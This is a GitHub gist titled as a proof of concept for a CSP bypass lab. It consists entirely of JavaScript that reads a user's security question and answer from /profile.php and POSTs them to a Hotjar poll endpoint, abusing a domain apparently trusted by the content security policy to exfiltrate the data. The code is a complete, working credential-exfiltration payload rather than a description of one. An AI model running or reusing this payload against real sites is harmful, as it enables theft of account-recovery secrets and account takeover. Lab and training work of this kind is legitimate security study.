Skip to content

Instantly share code, notes, and snippets.

@felmoltor
Last active August 23, 2023 14:44
Show Gist options
  • Save felmoltor/95e77cd4bccc266562613f94eca7630b to your computer and use it in GitHub Desktop.
Save felmoltor/95e77cd4bccc266562613f94eca7630b to your computer and use it in GitHub Desktop.
PoC for the CSP bypass Lab
fetch('/profile.php').then(function (response) {
return response.text();
}).then(function (html) {
// This is the HTML from our response as a text string
const parser = new DOMParser();
const pd = parser.parseFromString(html, "text/html");
sq=(pd.getElementById('security_question')).value;
sa=(pd.getElementById('security_answer')).value;
var data = {"utk":null, "response_content":"{\"version\":4 ,\"answers\":[{\"questionUuid\":\"78942292\"
,\"answer\":\"Something else\",
\"comment\":\""+sq+": "+sa+"\"}]}",[…]};
fetch("https://ask.hotjar.io/api/v2/client/sites/2421914/poll/423135/response/85cc0bea-29bb-4963-92e2-00b481a6be98", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(data),
})
.then((response) => response.json())
.then((data) => {
console.log("Success:", data);
})
.catch((error) => {
console.error("Error:", error);
});
}).catch(function (err) {
// There was an error
console.warn('Something went wrong on GET profile.php.', err);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment